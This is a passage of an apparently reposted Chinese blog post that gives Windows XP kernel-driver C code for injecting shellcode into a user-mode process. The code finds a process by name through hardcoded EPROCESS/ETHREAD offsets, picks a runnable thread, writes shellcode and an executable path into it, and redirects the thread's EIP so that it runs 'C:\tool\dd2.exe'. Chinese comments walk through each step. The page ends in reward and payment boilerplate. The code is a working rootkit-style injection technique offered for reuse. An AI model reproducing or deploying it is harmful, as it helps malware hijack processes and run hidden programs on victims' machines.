      KeStackAttachProcess((PRKPROCESS)pProcess,&kapc);
 
      RtlCopyMemory(pBuff,ShellCode,size);//先拷贝ShellCode过去
      path = "C:\\tool\\dd2.exe";
      pathAddr = ((ULONG)pBuff + 24);
      RtlCopyMemory( (PVOID)((ULONG)pBuff + 24), path, strlen(path) );//填写运行的路径 path
      RtlCopyMemory( (PVOID)((ULONG)pBuff + 9), &pathAddr, 4);//填写路径的地址
 
      KeUnstackDetachProcess (&kapc);
      // pTrapFrame->Eip指向ShellCode
      pTrapFrame->Eip = (ULONG)pBuff;
    }
    ZwClose(hProcess);
  }
  // 恢复线程执行
  KeResumeThread(pThread, NULL);
  DbgPrint("Inject End\n");
}
 
 

//
//  注入ShellCode到进程
//

#define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL 
#define IS_SYSTEM_THREAD(Thread) ((((Thread)+0x280)&PS_CROSS_THREAD_FLAGS_SYSTEM) != 0)
BOOLEAN Inject(char* strProc, int len) 
{
  PEPROCESS pProcess;
  PETHREAD pThread;
  PLIST_ENTRY pListHead, pNextEntry;
  PLIST_ENTRY pThListHead, pThNextEntry;
  UCHAR SuspendCount;
  ULONG CrossThreadFlags;
 
  pProcess = PsGetCurrentProcess();
  pListHead = (PLIST_ENTRY)((ULONG)pProcess + g_EProcessOffset.wOffsetFlink); //0x88  //ActiveProcessLinks
  pNextEntry = pListHead;
 
  // 先找到要注入的进程,通过ZwQuerySystemInformation来查找更稳定一些
  // 不过本人很讨厌那个繁琐的函数……
  do
  {
    pProcess = (PEPROCESS)((ULONG)pNextEntry - g_EProcessOffset.wOffsetFlink/*0x88*/);
    if ( !_strnicmp((char*)pProcess + g_EProcessOffset.wOffsetName/*0x174*/, strProc, len) ) 
    {
      DbgPrint("find process\n");
      pThListHead = (PLIST_ENTRY)((ULONG)pProcess + /*0x190*/g_EProcessOffset.wOffsetThreadListHead);   // ThreadListHead, XP SP2
      pThNextEntry = pThListHead->Flink;
      while ( pThNextEntry != pThListHead) 
      {
        // 接着查找符合条件的线程
 
 
        pThread = (PETHREAD)((ULONG)pThNextEntry - /*0x22c*/g_KThreadOffset.wOffsetThreadListEntry);    // ThreadListEntry, XP SP2
 
        SuspendCount = *(PUCHAR)((ULONG)pThread + /*0x1b9*/g_KThreadOffset.wOffsetSuspendCount);
        CrossThreadFlags = *(PULONG)((ULONG)pThread + /*0x248*/g_KThreadOffset.wOffsetCrossThreadFlags);
 
        if( !SuspendCount && (CrossThreadFlags & PS_CROSS_THREAD_FLAGS_SYSTEM) == 0 ) 
        {   
          // 非Suspend,非退出态,非内核线程
          DbgPrint("find thread\n");
 
          // 注入找到的线程
          InjectShellCode(pThread,pProcess); 
          return TRUE;
          break;
        }
        pThNextEntry = pThNextEntry->Flink;
      }
      break;
    }
    pNextEntry = pNextEntry->Flink;
  } while(pNextEntry != pListHead);
  return FALSE;
}
 
/************************************************************************/
/*            从内核中注入RING3线程 
            运行我们指定的EXE程序
*/
/************************************************************************/
BOOLEAN RunMyProcess(char* strProc, int len)
{
 
  if ( !FindFunc() ) 
  {
    DbgPrint("Find KexxxThread failed!\n");
    return FALSE;
  }
 
  if (  !Inject(strProc, strlen(strProc)) )
  {
    KdPrint(("Inject failed\n"));
    return FALSE;
  }
  return TRUE;
}
 
 
#endif

 

转载于:https://www.cnblogs.com/jujian/p/3585580.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值